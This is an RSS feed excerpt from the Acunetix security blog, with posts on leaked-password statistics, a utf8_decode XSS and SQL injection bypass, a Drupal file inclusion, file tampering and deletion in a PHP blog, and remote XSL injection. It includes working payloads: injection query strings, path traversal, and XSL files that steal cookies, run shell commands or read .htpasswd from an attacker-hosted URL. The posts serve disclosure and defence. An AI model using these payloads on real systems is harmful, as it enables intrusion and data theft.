<li><strong>1234567 </strong>- 8</li>
<li><strong>estrella </strong>- 7</li>
<li>iloveyou  - 7</li>
<li>daniel  - 7</li>
<li>000000  - 7</li>
<li>roberto  - 7</li>
<li>654321  - 6</li>
<li>bonita  - 6</li>
<li>sebastian  - 6</li>
<li>beatriz  - 6</li>
<li>mariposa  - 5</li>
<li>america  - 5</li>
</ol>
<p>Based on these passwords I think the phishing kit was targeted towards the Latino community.</p>
<p>Password length distribution:</p>
<ul>
<li>1 chars &#8211; 2 &#8211; 0 %</li>
<li>2 chars &#8211; 4 &#8211; 0 %</li>
<li>3 chars &#8211; 4 &#8211; 0 %</li>
<li>4 chars &#8211; 31 &#8211; 0 %</li>
<li>5 chars &#8211; 49 &#8211; 1 %</li>
<li><strong>6 chars &#8211; 1946 &#8211; 22 %</strong></li>
<li><strong>7 chars &#8211; 1254 &#8211; 14 %</strong></li>
<li><strong>8 chars &#8211; 1838 &#8211; 21 %</strong></li>
<li><strong>9 chars &#8211; 1091 &#8211; 12 %</strong></li>
<li>10 chars &#8211; 772 &#8211; 9 %</li>
<li>11 chars &#8211; 527 &#8211; 6 %</li>
<li>12 chars &#8211; 431 &#8211; 5 %</li>
<li>13 chars &#8211; 290 &#8211; 3 %</li>
<li>14 chars &#8211; 219 &#8211; 2 %</li>
<li>15 chars &#8211; 157 &#8211; 2 %</li>
<li>16 chars &#8211; 190 &#8211; 2 %</li>
<li>17 chars &#8211; 56 &#8211; 1 %</li>
<li>18 chars &#8211; 17 &#8211; 0 %</li>
<li>19 chars &#8211; 7 &#8211; 0 %</li>
<li>20 chars &#8211; 14 &#8211; 0 %</li>
<li>21 chars &#8211; 10 &#8211; 0 %</li>
<li>22 chars &#8211; 8 &#8211; 0 %</li>
<li>23 chars &#8211; 3 &#8211; 0 %</li>
<li>24 chars &#8211; 3 &#8211; 0 %</li>
<li>25 chars &#8211; 3 &#8211; 0 %</li>
<li>26 chars &#8211; 0 &#8211; 0 %</li>
<li>27 chars &#8211; 3 &#8211; 0 %</li>
<li>28 chars &#8211; 0 &#8211; 0 %</li>
<li>29 chars &#8211; 1 &#8211; 0 %</li>
<li>30 chars &#8211; 1 &#8211; 0 %</li>
</ul>
<p>As you can see from the list above, most of the passwords are between <strong>6</strong> and <strong>9</strong> characters long.  Average password length is <strong>8</strong> characters.</p>
<p>What kind of passwords were in the list? :</p>
<ul>
<li><strong>3,713 = </strong><strong>42</strong> <strong>%;</strong> lower alpha passwords : passwords containing only characters from &#8216;a&#8217; to &#8216;z&#8217;.<br />
Example : <em>iloveyou</em></li>
<li><strong>291 = 3 %; </strong>mixed case alpha passwords : passwords containing  characters from &#8216;a&#8217; to &#8216;z&#8217; and from &#8216;A&#8217; to &#8216;Z&#8217;.<br />
Example: <em>ILoveYou</em></li>
<li><strong>1707 = 19 %; </strong>numeric passwords: passwords containing only numbers (&#8217;0&#8242; to &#8217;9&#8242;)<br />
Example: <em>123456</em></li>
<li><strong>2655 = 30 %; </strong>mixed alpha and numeric passwords: passwords containing characters from &#8216;a&#8217;-'z&#8217;, &#8216;A&#8217;-'Z&#8217; and &#8217;0&#8242;-&#8217;9&#8242;.<br />
Example: <em>Iloveyou12</em></li>
<li> <strong>565 = 6 %; </strong>mixed alpha + numeric + other characters.<br />
Example: <em>1Love You$%@</em></li>
</ul>
<p>As we can see and conclude from the list above, a big majority of users still use very poor passwords: <strong>42 </strong>% (lower alpha only) and <strong>19</strong> % (numeric only), while only <strong>6 </strong>% from all the passwords had passwords which use a selection of alpha numeric and other characters.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/statistics-from-10000-leaked-hotmail-passwords/feed/</wfw:commentRss>
		<slash:comments>198</slash:comments>
		</item>
		<item>
		<title>Security risks associated with utf8_decode and XSS filters</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/security-risks-associated-with-utf8_decode/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/security-risks-associated-with-utf8_decode/#comments</comments>
		<pubDate>Fri, 14 Aug 2009 14:49:45 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[utf8_decode]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[xss filters]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=683</guid>
		<description><![CDATA[BlackHat USA 2009; Eduardo Vela Nava (sirdarckcat) and David Lindsay presented a paper entitled “Our Favorite XSS Filters and How to Attack Them”. Very interesting paper, you should definitely take a look at it.
In this ...]]></description>
			<content:encoded><![CDATA[<p>BlackHat USA 2009; Eduardo Vela Nava (<a href="http://sirdarckcat.blogspot.com/" target="_blank">sirdarckcat</a>) and David Lindsay presented a paper entitled “<a href="http://www.blackhat.com/presentations/bh-usa-09/VELANAVA/BHUSA09-VelaNava-FavoriteXSS-SLIDES.pdf" target="_blank">Our Favorite XSS Filters and How to Attack Them</a>”. Very interesting paper, you should definitely take a look at it.</p>
<p>In this paper, besides other things, they presented a very interesting way to bypass <a href="http://www.acunetix.com/websitesecurity/xss.htm" target="_self">XSS</a> filters using Unicode charcters.</p>
<p><strong>XSS filters</strong></p>
<p>Consider the following piece of code:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-682" title="xss_utf8_decode" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/xss_utf8_decode.PNG" alt="xss_utf8_decode" width="397" height="303" /></p>
<p>This code is using the utf8_decode function to decode the input to single-bytes characters. Later, it will check if the decoded input contains dangerous characters and reject the input if that’s the case. Using this function, utf8_decode is/(used to be) recommended to protect against obfuscated Unicode encoding.</p>
<p>Here is a quote from OWASP’s discussion  page about &#8220;Testing_for_Cross_site_scripting&#8221;;</p>
<p>“</p>
<blockquote><p>The following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:<br />
…</p>
<p>utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect attacks that the attacker has obfuscated with Unicode encoding.<br />
…</p></blockquote>
<p>“</p>
<p class="MsoNormal">However, in this case, as Eduardo and David showed, utf8_decode is the problem and not the solution. You can bypass the filter with a query string like:</p>
<p class="MsoNormal"><em>vuln.php?input=%F6%3Cimg+onmouseover=prompt(/xss/)//%F6%3E</em></p>
<p class="MsoNormal">I’ve edited the code to show the input before and after utf8_decode to understand what’s going on:</p>
<p class="MsoNormal"><em>input (before utf8_decode): ö&lt;img acu onmouseover=prompt(400854747531)//ö&gt;</em></p>
<p class="MsoNormal"><em>decoded input (after utf8_decode): ?g acu onmouseover=prompt(400854747531)//?</em></p>
<p class="MsoNormal">The initial string contained 2 filtered characters &lt; (%3C) and &gt; (%3E). However, because of the %F6 character, utf8_decode is replacing them (and two more characters) with a question sign. The filter is bypassed and the code is vulnerable to XSS (cross site scripting).</p>
<p class="MsoNormal">
<p class="MsoNormal"><strong>utf8_decode and addslashes</strong></p>
<p class="MsoNormal">However, this problem is not only related with XSS filters.  A similar case will appear when using utf8_decode to convert escaped strings (e.g. addslashes()).</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">“</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">he following PHP functions help mitigate Cross-Site Scripting Vulnerabilities:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">…</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">Utf8_decode() converts UTF-8 encoding to single byte ASCII characters. Decoding Unicode input prior to filtering it can help you detect</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">attacks that the attacker has obfuscated with Unicode encoding.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">…</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 247px; width: 1px; height: 1px;">“</div>
<p class="MsoNormal">Some sample source code:</p>
<p class="MsoNormal" style="text-align: center;"><img class="aligncenter size-full wp-image-681" title="sql_injection_addslashes_utf8_decode" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/sql_injection_addslashes_utf8_decode.PNG" alt="sql_injection_addslashes_utf8_decode" width="620" height="326" /></p>
<p>This code is using addslashes (which is not a proper way to protect against SQL injection but still people use it) together with utf8_decode.   If you try to insert a single quote, addslashes will protect against SQL injection:</p>
<p><em>index.php?username=%27&amp;password=a</em></p>
<p><em>user: test\&#8217;</em></p>
<p><em>pass: a</em></p>
<p><em>SQL query: SELECT * FROM users WHERE uname = &#8216;test\&#8221; and pass = &#8216;a&#8217;</em></p>
<p>I’ve updated the code to show the inputs and the SQL query. However, this code can be exploited using a query string like:</p>
<p><em>index.php?username=test%FC%27%27+or+1=1+&#8211;+&amp;password=a</em></p>
<p><em>This will generate the following output:</em></p>
<p><em>user: test?&#8217; or 1=1 &#8211;</em></p>
<p><em>pass: a</em></p>
<p><em>SQL query: SELECT * FROM users WHERE uname = &#8216;test?&#8217; or 1=1 &#8212; &#8216; and pass = &#8216;a&#8217;</em></p>
<p>Again, utf8_decode replaced the characters after %FC with a question mark, making the code vulnerable to SQL injection. The PHP directive magic_quotes_gpc is on by default, and it essentially runs addslashes() on all GET, POST, and COOKIE data.</p>
<p>While looking into this problem, I’ve found a very useful <a href="http://us2.php.net/manual/en/function.utf8-decode.php#83935" target="_blank">comment </a>on the PHP page for the utf8_decode function:</p>
<blockquote>
<div>
<p class="MsoNormal"><span><span style="font-size:8.5pt; font-family:Consolas;color:black">Warning!</span></span><span style="font-size: 8.5pt;font-family:Consolas;color:black"><br />
<span>This function contains a possible security risk when you try to convert escaped strings (see addslashes() and related functions).</span><br />
<span>It reacts nasty on broken multibyte sequences. In UTF-8, follow-up bytes ALWAYS have the binary pattern 10xxxxxx, but this fact is not handled by utf8_decode in the way you would expect: If you pass a start byte (110xxxxx, 1110xxxx, 11110xxx &#8211; or even invalid sequences like 11111100), followed by one or more non-multibyte chars (0xxxxxxx), the start sequence &#8220;char&#8221; will be replaced by &#8216;?&#8217; (0x3F) and up to three following chars will disappear even if they are single-byte-chars (0xxxxxxx). So if you escape a string with a typical escape char like backslash, you would expect that your escaping would always survive a call to utf8decode because the escape char is in the assumed safe ascii range 0-127, but that is NOT the case!</span><br />
<span>Try things like utf8_decode(&#8220;test: ü\\\&#8221;123456&#8243;) to check it out.</span><br />
<span>To avoid problems take care that string-escaping always is the last step of data manipulation when you depend on leak-proof escaping.</span></span></p>
</div>
</blockquote>
<p class="MsoNormal">This comment explains very well what’s going on. We’ve also updated Acunetix WVS to test for this kind of vulnerabilities in the latest build (build <a href="http://www.acunetix.com/support/build-history.htm" target="_self">20090813</a>).</p>
<p class="MsoNormal"><span style="font-family: Consolas; font-size: small;"><span><br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/security-risks-associated-with-utf8_decode/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Drupal Local File Inclusion Vulnerability</title>
		<link>http://www.acunetix.com/blog/news/drupal-local-file-inclusion-vulnerability/</link>
		<comments>http://www.acunetix.com/blog/news/drupal-local-file-inclusion-vulnerability/#comments</comments>
		<pubDate>Fri, 27 Feb 2009 09:15:21 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[AcuSensor]]></category>
		<category><![CDATA[drupal]]></category>
		<category><![CDATA[lfi]]></category>
		<category><![CDATA[local file inclusion]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=437</guid>
		<description><![CDATA[I was testing our scanner (with AcuSensor enabled) on Drupal (http://www.drupal.org) and the scanner found a possible File Inclusion vulnerability.

As you can see from the screenshot above, the GET variable q was set to start/../../xxx\..\..\end ...]]></description>
			<content:encoded><![CDATA[<p>I was testing our scanner (with <a href="http://www.acunetix.com/vulnerability-scanner/acusensor.htm">AcuSensor </a>enabled) on Drupal (<a href="http://www.drupal.org" target="_blank">http://www.drupal.org</a>) and the scanner found a possible File Inclusion vulnerability.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_vulnerability.png" target="_blank"><img class="aligncenter size-full wp-image-446" title="drupal_vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_vulnerability.png" alt="drupal_vulnerability" width="560" height="439" /></a></p>
<p>As you can see from the screenshot above, the GET variable q was set to start/../../xxx\..\..\end and it got partially sanitized. It reached the include function as /themes/garland/<strong>page-start-..-..-xxx\..\..\end</strong>.tpl.php. All the slashes were replaced with &#8220;-&#8221;.</p>
<p>Even more, we cannot fully control the include path, the user input is automatically prefixed with ./themes/garland/page-.  So, this vulnerability doesn&#8217;t look exploitable, right? Actually this is exploitable on Microsoft Windows systems.</p>
<p>On Unix systems, something like &#8220;cat /var/www/some_invalid_filename/../../../../../etc/passwd&#8221; doesn&#8217;t work because some_invalid_filename is not a directory and give the error that  some_invalid_filename doesn&#8217;t exist. It will not work even if you have a valid file name.That&#8217;s the expected behavior in my opinion, however, in Microsoft Windows things are different.</p>
<p>Executing the command &#8220;type c:\windows\sssssssssssss\..\..\..\..\..\boot.ini&#8221; will return the contents of c:\boot.ini even if sssssssssssss is not a directory and it doesn&#8217;t even exists as a file name. Check the screenshot below.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_cmd.png" target="_blank"><img class="aligncenter size-full wp-image-443" title="drupal_cmd" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_cmd.png" alt="drupal_cmd" width="649" height="115" /></a></p>
<p>The vulnerability is located in the file &#8220;<strong>includes\theme.inc</strong>&#8221; on line <strong>1011</strong>. Vulnerable code:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_vulnerable_code.png" target="_blank"><img class="aligncenter size-full wp-image-442" title="drupal_vulnerable_code" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_vulnerable_code.png" alt="drupal_vulnerable_code" width="649" height="380" /></a></p>
<p>PHP option magic_quotes_gpc is turned OFF in Drupal, so it&#8217;s possible to use %00 to terminate the string. Therefore, if you set q to something like q=\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00 it is possible to include the contents of boot.ini on Windows systems, if the web server is installed on the C:  partition. Below are two more screenshots about the exploit.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_exploit_1.png" target="_blank"><img class="aligncenter size-full wp-image-444" title="drupal_exploit_1" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_exploit_1.png" alt="drupal_exploit_1" width="680" height="413" /></a></p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_exploit_2.png" target="_blank"><img class="aligncenter size-full wp-image-445" title="drupal_exploit_2" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/drupal_exploit_2.png" alt="drupal_exploit_2" width="680" height="413" /></a></p>
<p>Drupal versions 5.x and 6.x are vulnerable to this problem.</p>
<p>Drupal security team was notified about this vulnerability on 29 January 2009 and they&#8217;ve released a fix on 25 February 2009. The fix for Drupal version 5.x is available <a href="http://drupal.org/node/384024" target="_blank">here</a>. And for Drupal version 6.x can be found <a href="http://drupal.org/node/383724" target="_blank">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/drupal-local-file-inclusion-vulnerability/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>AcuSensor and the pink blog</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/acusensor-and-the-pink-blog/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/acusensor-and-the-pink-blog/#comments</comments>
		<pubDate>Thu, 26 Feb 2009 08:40:35 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[acunetix]]></category>
		<category><![CDATA[AcuSensor]]></category>
		<category><![CDATA[arbitrary file deletion]]></category>
		<category><![CDATA[file tampering]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=384</guid>
		<description><![CDATA[While testing our AcuSensor technology, I downloaded a small PHP blog application from the internet. The installation went smoothly. This particular application was not using a database but it was storing everything in text files. ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;">While testing our <a title="AcuSensor" href="http://www.acunetix.com/vulnerability-scanner/acusensor.htm">AcuSensor</a> technology, I downloaded a small PHP blog application from the internet. The installation went smoothly. This particular application was not using a database but it was storing everything in text files. I added a sample blog post and I was ready to start the scan. The application looked like this before scan:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-387" title="before_scan" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/before_scan.png" alt="before_scan" width="601" height="350" /></p>
<p style="text-align: left;">I was very surprised when the scan finished as the application now looked like this:</p>
<p style="text-align: center;"><img class="size-full wp-image-385 aligncenter" title="after_scan" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/after_scan.png" alt="after scan" width="602" height="346" /></p>
<p style="text-align: center;">
<p style="text-align: left;">Quite funny <img src='http://www.acunetix.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  There are a number of differences between these two images. First, the top color was changed somehow during the scan (from blue to pink). Second, the blog post disappeared and third, error messages were displayed everywhere.</p>
<p style="text-align: left;">At first, I didn&#8217;t know how to figure out what&#8217;s going on, so I restored the application and scanned it again. After a few seconds since I started the scan, the application stopped working displaying some more error messages. A few minutes later, two more error messages appeared and in the end it looked like the second image again.</p>
<p style="text-align: left;">Then it clicked my mind that this application doesn&#8217;t use a database, but text files. Therefore, I should easily be able to understand what&#8217;s going on by comparing all the files from the application directory before and after the scan. So, I started Beyond Compare (great software BTW) and compared the two directories. Below are the comparison results.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-388" title="diff_1" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/diff_1.png" alt="diff_1" width="649" height="294" /></p>
<p style="text-align: left;">I&#8217;ve configured Beyond Compare to display only mismatches, and a few files were reported. As you can see one of these files is settings.php. This is the configuration file for the application.</p>
<p style="text-align: left;">It seems that Acunetix WVS managed to somehow modify the settings.php file while scanning the application, which is pretty bad. The differences are shown below.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-389" title="diff_2" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/diff_2.png" alt="diff_2" width="652" height="466" /></p>
<p style="text-align: left;">One can notice a lot of changes; almost all settings are blank now except $skin which somehow managed to get the value &#8220;pink&#8221; <img src='http://www.acunetix.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I also noticed that a few settings are also missing, such as $rss_title, $blog_offline and so on. So finally we figured out why the application stopped working. The settings.php file got corrupted during scanning.</p>
<p style="text-align: left;">Now let&#8217;s investigate the source code to better understand what&#8217;s going on.</p>
<p style="text-align: left;">But how would you know where in the code you should start looking to fix problem? It could be a very complicated task and it depends on how the code is written. At this point I got the idea that it would be cool to modify AcuSensor to report these kind of problems, i.e. when user input gets written to a file.</p>
<p style="text-align: left;">So, we modified AcuSensor and came up with an alert named <strong>File Tampering</strong>. The scanner detects when user input is written to a file on disk. This alert requires user confirmation. There may be a false positives in some cases (for example, when the application is creating a log/text file). It depends on the file that gets written and how/if the user input is sanitized before being written to the file.</p>
<p style="text-align: left;">We ran the scan again and AcuSensor reported 17 File Tampering alerts. The nice thing about these alerts is that you know exactly where the problem is in the code . Let&#8217;s have a look at one of these alerts.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-391" title="file_tampering" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/file_tampering.png" alt="file_tampering" width="516" height="290" /></p>
<p style="text-align: left;">The problem is in cp_settings.php file, at line 85. Let&#8217;s take a look at this piece of code to see what&#8217;s going on in there.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-392" title="source_code" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/source_code.png" alt="source_code" width="469" height="525" /></p>
<p style="text-align: left;">As you can see, input from the user is directly written to the settings.php file without any kind of sanitization. Apart from that, this file requires no authentication. Therefore anybody can call this file directly and adjust the configuration parameters as he likes.</p>
<p style="text-align: left;">This can be exploited very easily by issuing a HTTP request like the one in the screen shot below:</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-390" title="exploit" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/exploit.png" alt="exploit" width="621" height="152" /></p>
<p style="text-align: left;">The above request closes the quotes and inserts our custom PHP code in settings.php. We use the <strong>__halt_compiler()</strong> PHP  function to make things easier. This code gets written to settings.php and you can call it directly by accessing http://bld02/lb/settings.php.</p>
<p style="text-align: left;">Another interesting vulnerability found by AcuSensor in this application is <strong>Arbitrary File Deletion</strong>. Basically, the user input is used in an <strong>unlink()</strong> call and an attacker can delete arbitrary files from the server. Check the screen shot below:</p>
<p style="text-align: center;"><img class="size-full wp-image-386 alignnone" title="arbitrary_file_deletion" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/arbitrary_file_deletion.png" alt="arbitrary_file_deletion" width="526" height="276" /></p>
<p style="margin-bottom: 0cm; text-align: center;">
<p style="margin-bottom: 0cm; text-align: left;">The file cp_memberedit.php, around line 25, contains the following lines of code:</p>
<p style="margin-bottom: 0cm; text-align: center;">
<p style="margin-bottom: 0cm; text-align: center;"><img class="aligncenter size-full wp-image-393" title="source_code_2" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/source_code_2.png" alt="source_code_2" width="464" height="126" /></p>
<p style="margin-bottom: 0cm; text-align: center;">
<p style="margin-bottom: 0cm; text-align: left;">Again, this php script requires no authentication, therefore anybody can delete files by providing a malicious $_GET parameter. For example, http://bld02:80/lb/cp_memberedit.php?delete=../readme.txt%00 will delete the file readme.txt from the application directory.  The scanner found more vulnerabilities in this application but I think it&#8217;s enough for today.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/acusensor-and-the-pink-blog/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The hidden dangers of XSLTProcessor &#8211; Remote XSL injection</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/the-hidden-dangers-of-xsltprocessor-remote-xsl-injection/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/the-hidden-dangers-of-xsltprocessor-remote-xsl-injection/#comments</comments>
		<pubDate>Tue, 03 Feb 2009 15:14:42 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Remote XSL Inclusion]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=332</guid>
		<description><![CDATA[Today I&#8217;m going to talk about a new vulnerability which I named Remote XSL Inclusion.  I didn&#8217;t find any references on the internet about this vulnerability, which I found while auditing some PHP code for ...]]></description>
			<content:encoded><![CDATA[<p>Today I&#8217;m going to talk about a new vulnerability which I named <strong>Remote XSL Inclusion</strong>.  I didn&#8217;t find any references on the internet about this vulnerability, which I found while auditing some PHP code for a friend.</p>
<p>PHP supports XSL transformations using the <a href="http://us2.php.net/xsltprocessor" target="_blank"><strong>XSLTProcessor </strong></a>class.<br />
The code below loads the XML document collection.xml and transform it through an XSL file.<br />
This code was taken from the PHP <strong>XSLTProcessor</strong>::<strong>transformToXML </strong>page and modified to include the vulnerability.</p>
<p style="text-align: center;"><img class="aligncenter size-full wp-image-334" title="Remote XSL Injection" src="http://www.acunetix.com/blog/wp-content/uploads/2009/02/xsl_code.png" alt="xsl_code" width="441" height="354" /></p>
<p>The vulnerability occurs when the XSL file is loaded from a source controlled by the attacker.<br />
In this example, you can specify the XSL file as the GET parameter &#8220;xsl&#8221;.</p>
<p>You can include a remote XSL file by using an URL like<br />
<em>http://www.website.com/xsl/transform.php?xsl=http://evilwebsite.com/evil.xsl</em></p>
<p>What can be done with this vulnerability?</p>
<p><strong>1. <a href="http://www.acunetix.com/websitesecurity/xss.htm" target="_self">XSS</a></strong><strong> (Cross Site Scripting)</strong>. Sample XSL file that will execute Javascript code.</p>
<p>&lt;xsl:stylesheet version=&#8221;1.0&#8243; xmlns:xsl=&#8221;http://www.w3.org/1999/XSL/Transform&#8221; xmlns:php=&#8221;http://php.net/xsl&#8221;&gt;<br />
&lt;xsl:template match=&#8221;/&#8221;&gt;<br />
<span style="color: #800000;">&lt;script&gt;alert(document.cookie)&lt;/script&gt;</span><br />
&lt;/xsl:template&gt;<br />
&lt;/xsl:stylesheet&gt;</p>
<p><strong>2. Execute PHP code </strong>(if registerPHPFunctions is enabled).  XSLTProcessor class has a method named  registerPHPFunctions. This method enables the ability to use PHP functions as XSLT functions within XSL stylesheets.  Sample XSL file that will execute PHP code (works only if  registerPHPFunctions is enabled).</p>
<p>&lt;xsl:stylesheet version=&#8221;1.0&#8243; xmlns:xsl=&#8221;http://www.w3.org/1999/XSL/Transform&#8221; xmlns:php=&#8221;http://php.net/xsl&#8221;&gt;<br />
&lt;xsl:template match=&#8221;/&#8221;&gt;<br />
<span style="color: #800000;">&lt;xsl:value-of select=&#8221;php:function(&#8216;passthru&#8217;,'ls -la /&#8217;)&#8221;/&gt;</span><br />
&lt;/xsl:template&gt;<br />
&lt;/xsl:stylesheet&gt;</p>
<p><strong>3. Read arbitrary files.</strong> There are limitations to which files one can read. transformToXML  method will try to parse the file and will complain if it doesn&#8217;t have the right format. You can only read HTML formatted data. However, you can read the first line from any file. This may not sound like much but it could be useful in some situations (for example .htpasswd files).</p>
<p>Sample XSL file<br />
&lt;xsl:stylesheet version=&#8221;1.0&#8243; xmlns:xsl=&#8221;http://www.w3.org/1999/XSL/Transform&#8221; xmlns:php=&#8221;http://php.net/xsl&#8221;&gt;<br />
&lt;xsl:template match=&#8221;/&#8221;&gt;<br />
<span style="color: #800000;">&lt;xsl:copy-of select=&#8221;document(&#8216;.htpasswd&#8217;)&#8221;/&gt;</span><br />
&lt;/xsl:template&gt;<br />
&lt;/xsl:stylesheet&gt;</p>
<p>In my case .htpasswd contains only one line (test:qKMmz/ZMJFHc6).<br />
Including the XSL file above will produce the following output:<br />
<code><br />
&lt;br /&gt;<br />
&lt;b&gt;Warning&lt;/b&gt;:  XSLTProcessor::transformToXml() </code></p>
<p><code>[&lt;a href='xsltprocessor.transformtoxml'&gt;xsltprocessor.transformtoxml&lt;/a&gt;]: /path/.htpasswd:1: parser error : Start tag expected, '&amp;lt;' not found in &lt;b&gt;/path/transform.php&lt;/b&gt; on line &lt;b&gt;15&lt;/b&gt;&lt;br /&gt;<br />
&lt;br /&gt;<br />
&lt;b&gt;Warning&lt;/b&gt;:  XSLTProcessor::transformToXml() </code></p>
<p><code>[&lt;a href='xsltprocessor.transformtoxml'&gt;xsltprocessor.transformtoxml&lt;/a&gt;]: <strong><span style="color: #800000;">test:qKMmz/ZMJFHc6</span> </strong>in &lt;b&gt;/path/transform.php&lt;/b&gt; on line &lt;b&gt;15&lt;/b&gt;&lt;br /&gt;<br />
&lt;br /&gt;<br />
&lt;b&gt;Warning&lt;/b&gt;:  XSLTProcessor::transformToXml() </code></p>
<p><code>[&lt;a href='xsltprocessor.transformtoxml'&gt;xsltprocessor.transformtoxml&lt;/a&gt;]: ^ in &lt;b&gt;/path/transform.php&lt;/b&gt; on line &lt;b&gt;15&lt;/b&gt;&lt;br /&gt;</code></p>
<p>As you can see, transformToXml found some errors in the first line of this file and it showed the offending line.</p>
<p>To protect against such vulnerability one needs to make sure that he doesn&#8217;t use user-supplied input in the XSL filename. The best solution would be to define a list of permitted filenames and only accept XSL filenames from that list.</p>
<p>To test if you application is vulnerable to this vulnerability, scan it with <a href="http://www.acunetix.com/vulnerability-scanner/">Acunetix Web Vulnerability Scanner</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/the-hidden-dangers-of-xsltprocessor-remote-xsl-injection/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>URL Rewriting and AcuSensor Technology; automation and advantages</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/url-rewriting-and-acusensor-technology-automation-and-advantages/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/url-rewriting-and-acusensor-technology-automation-and-advantages/#comments</comments>
		<pubDate>Tue, 09 Dec 2008 08:59:14 +0000</pubDate>
		<dc:creator>Bogdan Calin</dc:creator>
				<category><![CDATA[articles]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=188</guid>
		<description><![CDATA[Nowadays, a lot of web applications are using URL rewriting. URL rewriting involves converting normal URLs to search engine friendly URLs. Usually the reason for doing this is to improve the rankings in search engines.
A ...]]></description>
			<content:encoded><![CDATA[<p>Nowadays, a lot of web applications are using URL rewriting. URL rewriting involves converting normal URLs to search engine friendly URLs. Usually the reason for doing this is to improve the rankings in search engines.</p>
<p>A search friendly URL looks like this:</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2008/12/seo_url_1.png" target="_blank"><img class="aligncenter size-full wp-image-190" title="seo_url_1" src="http://www.acunetix.com/blog/wp-content/uploads/2008/12/seo_url_1.png" alt="" width="500" height="24" /></a></p>
<p style="text-align: center;">Or like this:</p>
